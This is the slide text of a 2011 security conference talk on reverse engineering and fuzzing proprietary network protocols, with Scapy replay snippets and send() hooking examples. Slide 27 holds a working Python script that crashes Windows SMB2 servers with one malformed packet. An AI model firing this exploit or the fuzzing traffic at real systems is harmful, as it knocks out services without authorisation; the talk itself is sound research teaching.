[Ruxcon] Breaking virtualization by switching the cpu to virtual 8086 mode
 
[HackInTheBox] Breaking virtualization by any means
[HackInTheBox] Breaking virtualization by any means[HackInTheBox] Breaking virtualization by any means
[HackInTheBox] Breaking virtualization by any means
 
[DEFCON] Bypassing preboot authentication passwords by instrumenting the BIOS...
[DEFCON] Bypassing preboot authentication passwords by instrumenting the BIOS...[DEFCON] Bypassing preboot authentication passwords by instrumenting the BIOS...
[DEFCON] Bypassing preboot authentication passwords by instrumenting the BIOS...
 
[DEFCON 16] Bypassing pre-boot authentication passwords by instrumenting the...
[DEFCON 16] Bypassing pre-boot authentication passwords  by instrumenting the...[DEFCON 16] Bypassing pre-boot authentication passwords  by instrumenting the...
[DEFCON 16] Bypassing pre-boot authentication passwords by instrumenting the...
 

Último

Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Scriptwesley chun
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking MenDelhi Call girls
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century educationjfdjdjcjdnsjd
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherRemote DBA Services
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdfhans926745
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking MenDelhi Call girls
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonetsnaman860154
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?Antenna Manufacturer Coco
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Igalia
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...apidays
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEarley Information Science
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...Martijn de Jong
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)wesley chun
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 

Último (20)

Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 

[Ruxcon Monthly Sydney 2011] Proprietary Protocols Reverse Engineering : Research leads

  • 1. Proprietary Protocols RCE : Research leads Jonathan Brossard CEO – Toucan System jonathan@ toucan-system.com @endrazine
  • 2. Who am I ? (a bit of self promotion ;) - Security Research Engineer, CEO @ Toucan System (French Company). - Known online as endrazine (irc, twitter...) - Met most of you on irc (ptp/OTW...). - Currently lives in Sydney (pentester for CBA). - Speaker at Ruxcon (plus a few others : Defcon/HITB/Blackhat/HES...). - Organiser of the Hackito Ergo Sum conference (Paris).
  • 3. I don't reverse plain text...
  • 4. Hardcore self promotion If you like this talk... - Come to my RCE talk at Blackhat US 2011 - Come to my training at HackInTheBox Kuala Lumpur 2011 (advanced linux exploitation) - Submit to my conference HES2012 in Paris (April) - Follow me on twitter @endrazine - Contact my sales at daniel.coutinho@toucan- system.com
  • 5. Agenda Introducing the problem... Effectively attacking UDP Effectively attacking TCP Unix clients instrumentation •Windows clients instrumentation
  • 6. Introducing the problem We're given a proprietary protocol to audit. No source code, no specifications, no public implementation. At best : a client and server. At worst : a few pcap files (don't laugh, I had to do this for CBA...).
  • 7. What we want to do... - quick RCE : where are the usernames & passwords, checksums (?) , challenge/response... - finding use of weak cryptography - replay attacks - DoS - timing attacks - fuzzing (remote pwnage!)
  • 9. Methodology Since we don't have a proper network stack... we'll do a static analysis (on pcaps) first. Given a client and servers, you can have pcaps (duh!!) You probably found this later statement morronic... more on this later...
  • 10. Methodology 1) Examine the packets for transport layer. => Easy, wireshark is your friend.
  • 11. Transport Layer 3 possibilities : - It's IP based : travels over the internet, vast majority of the cases (TCP/UDP). - It's a LAN known protocol (doable in much the same way, less interresting...). - It's an alien protocol, possibly not even known to wireshark (eg : SS7/SIGTRAN).
  • 12. Methodology 2) Examine the application layer...
  • 13. Application layer - look for plain text - check for usernames/passwords (capture with ! = usernames/passwords + diffing if you have a working client) - check for challenge/response (the only stuff that will change given the same inputs. That and salted passwords that is...) - check for checksums (high entropy bytes given very similar input data)
  • 15. Quick RCE... IP protocol (UDP/TCP) + no challenge /response = problem (replay attacks, think pass the hash under netbios/Windows) Very common in old (80's) proprietary protocols
  • 16. Quick RCE... Trivial crypto checks (you'd be suprised how much this works irl...) AAAA → deadbeef AAAAA → deadbeef66 => byte per byte crypto. => At best : Vigenere with constant key. => Broken !
  • 17. Quick RCE... Trivial crypto checks (reloaded) What looks like a known hash algorithm has high chances to be... a known hash algorithm. Check for common ones on known passwords (SHA1, MD5, 3DES...)
  • 18. Quick RCE Trivial crypto checks (3/4) Same input password = same hash ? (=> salted/non salted?) If you have a server and face a case of password encoding : may worth stealing/instrumenting it's password decryption rootine
  • 19. Quick RCE... Trivial crypto checks (4/4) Non salted hash, public algorithm : rainbow tables (for about any size, any charset). #broken Salted hash, public algo (MD5, sha256, 3DES): can be bruteforced under 1 day with a 400$ GPU card ([a-zA-Z0-9}]@^`|[{#~], size <9). FPGA is even faster. #broken Proprietary hash : usually reversible #broken by design.
  • 20. Hardcore RCE - Block Crypto + key reuse (without shift) + statistical analysis = plain key retreival (cf Eric Filliol at BHUS 2010). - Uninitialised kernel memory leaks in network padding. - Crypto is pretty much never checked properly (Debian SSL for the Win!!)
  • 21. What we wanted to do... - quick RCE : where are the usernames & passwords, checksums (?) , challenge/response... - finding use of weak cryptography - replay attacks - DoS - timing attacks - fuzzing (remote pwnage!)
  • 22. Now what ? Now we need an applicative stack... and it would be even better if it was functionnal...
  • 23. Two cases : 1) We have a working client. => We have a working stack (we #win ;) 2) We don't have a client, only pcaps...
  • 24. In this later case... TCP/UDP (or known LAN protocol) + no crypto + no challenge/response : we'll have a partially working stack =) TCP/UDP/Known protocol + heavy checksuming and/or challenge/response or crypto : we wont without reversing those mechanisms. We can always try some pre check fuzzing... :-/ Alien protocol or unknown crypto : We'll really need to cheat (more on this later).
  • 25. Ok, no more talking... time for hacking
  • 27. Learning to Fuzz... a la Laurent Gaffie #!/usr/bin/python #When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field #it dies with a PAGE_FAULT_IN_NONPAGED_AREA error from socket import socket from time import sleep host = "IP_ADDR", 445 buff = ( "x00x00x00x90" # Begin SMB header: Session message "xffx53x4dx42" # Server Component: SMB "x72x00x00x00" # Negociate Protocol "x00x18x53xc8" # Operation 0x18 & sub 0xc853 "x00x26"# Process ID High: --> :) normal value should be "x00x00" "x00x00x00x00x00x00x00x00x00x00xffxffxffxfe" "x00x00x00x00x00x6dx00x02x50x43x20x4ex45x54" "x57x4fx52x4bx20x50x52x4fx47x52x41x4dx20x31" "x2ex30x00x02x4cx41x4ex4dx41x4ex31x2ex30x00" "x02x57x69x6ex64x6fx77x73x20x66x6fx72x20x57" "x6fx72x6bx67x72x6fx75x70x73x20x33x2ex31x61" "x00x02x4cx4dx31x2ex32x58x30x30x32x00x02x4c" "x41x4ex4dx41x4ex32x2ex31x00x02x4ex54x20x4c" "x4dx20x30x2ex31x32x00x02x53x4dx42x20x32x2e" "x30x30x32x00" ) s = socket() s.connect(host) s.send(buff) s.close()
  • 28. Tools of the trade : TCPREPLAY Scapy (by Philippe Biondi). - Written in python (easy). - Knows most protocols you'll ever see. - Slow as shit :(( And that's about it...
  • 29. Replaying packets with Scapy a=rdpcap("./sample.pcap") b=IP(src="10.69.69.69",dst="10.66.66. 66")/UDP(dport=1234)/Raw(load=a[0] .load) send(b,loop=1)
  • 30. Fuzzing with Scapy a=rdpcap("./sample.pcap") b=IP(src="10.69.69.69",dst="10.66.66. 66")/fuzz(UDP(dport=1234))/Raw(load =a[0].load) send(b,loop=1)
  • 31. DEMO
  • 33. Notes Worth trying fuzzing even if challenge/responses or crypto is present : this is verified at application level (unlike TCP ACK/SEQ for instance). TcpReplay is a piece of crap unless you're working exclusively at Layer2 (hence attacking the kernel. In particular, it can't replay valid TCP sessions).
  • 34. (D)DoS Mind the amplification factors : For each (soofed) packet sent, what is the size of the returned packet in case of response ? (cf : Open recursive DNS anonymous DdoS) ICMP packets generated in return ? Broadcast, multicast, ?
  • 35. Effectively attacking TCP (here comes the meat)
  • 36. The problem of TCP Triple way handshake at kernel level. If we don't do this correctly, our data won't even reach the application seating in userland. Complex protocol (fragmentation, QoS...)
  • 37. The wrong way to do it 1) Use TcpReplay #crap 2) read the data from pcaps and copy paste it into a client (maaan ! How about fragmentation, lost packets/reemissions... ?)
  • 38. Solution : Wireplay Alien++ tool. Designed by me. Implemented in 3 days by mighty++ Abhisek Datta (India).
  • 39. Note on Abhisek - Expert exploit writter. - Taviso killed our Xmas kernel 0day :(
  • 40.
  • 41. Implementation details - libpcap - libnids (from Nergal) - replay inside a real TCP socket => No RAW Sockets, No QoS to deal with, no problems :)
  • 42. Remember my earlier morronic statement ? « Given a client and servers, you can have pcaps ». #Obvious Now, given pcaps, you can have a working TCP client and server. #Yeah!
  • 44. Manual testing/fuzzing Cross layer verifications are common (eg : the application layer contains information from the transport layer). Eg : SOAP messages containing IP addresse of sender. => Room for problems ! The application may assume the application layer is correct... What happens if it changes (all the time ? After correct authentication?)
  • 45. Note on timing attacks About impossible to fix in C (and « at all » actually). Adding a random delay (cf : ProFTPd doesn't fix the problem). Easy to perform now that we know how to replay packets =)
  • 47. You may be laughing but... An academic guy managed to retreive 2048b RSA keys / SSH via timing attacks over a LAN. o0
  • 48. What we wanted to do... - quick RCE : where are the usernames & passwords, checksums (?) , challenge/response... - finding use of weak cryptography - replay attacks - DoS - timing attacks - fuzzing (remote pwnage!)
  • 49. The fake problem of SSL - Retreive the data assuming we know the RSA key is easy : ssldump. - Adding an SSL layer when replaying is easy too (any SSL capable netcat-like will do).
  • 50. Applicative DoS attacks Connection timeouts (eg : Slowloris under HTTP). => Once you reached userland, the timeout is handled at application level. Sure, Apache/mod_qos and mod_security can handle it. How about non http trafic though ? Muhahahahah...
  • 53. Methodology There is basically one technique... LD_PRELOAD - arbitrary network fuzzing (zuff). - out of order packets (non RFC compliants). - easy hooking of SSL function, entropy sources (getpid(), open('/dev/urandom'...)... => easy control over complex things ! (complexity attacks on hashtable algos ? Cf Squid advisory). - USE OF PROPRIERARY PROTOCOL STACKS.
  • 54. Exemple : hooking send() #include <sys/types.h> #include <sys/socket.h> ssize_t send(int sockfd, const void *buf, size_t len, int flags);
  • 55. Hooking send() #include <sys/types.h> #include <sys/socket.h> // declare a function ptr to the original function static ssize_t (*fn_send)(int sockfd, const void *buf, size_t len, int flags) = NULL; // hooked function ssize_t send(int sockfd, const void *buf, size_t len, int flags){ … return fn_send(sockfd,buf,len,flags); } // declare constructor to initialise the hooked f ptr: static void __attribute__((constructor)) init(void){ fn_send = dlsym(RTLD_NEXT,”send”); }
  • 56. Hooking send() jonathan@blackbox-pentest:~$ gcc hooking.c -o hooking.so -shared -ldl jonathan@blackbox-pentest:~$LD_PRELOAD=./hooking.so /usr/bin/sshd 192.168.1.2 -l guest
  • 58. Methodology - We'd like to do the very same thing... - So let's just do the exact same thing ;)
  • 59. How does it work ? - dll injection on the remote process - hooking of Windows functions (« detouring ») - Fuzzing/instrumentation/logging...
  • 60. Detouring under Windows Normal Windows function prologue: 0xCC ; 0xCC ; Padding: either 0x90 or 0xCC 0xCC ; 0xCC ; 0xCC ; MOV EDI, EDI ; is actually executed PUSH EBP MOV EBP, ESP
  • 61. Detouring under Windows Detoured Windows function prologue: JMP FAR 0xdeadbeef ; branch anywhere JMP SHORT -5 ; is actually executed PUSH EBP MOV EBP, ESP
  • 62. What detours.dll does: - Freeze all threads (avoid races). - Patch all your hooked functions like shown before. - Restart all threads.
  • 63. DEMO
  • 64. Thank you for coming Questions ?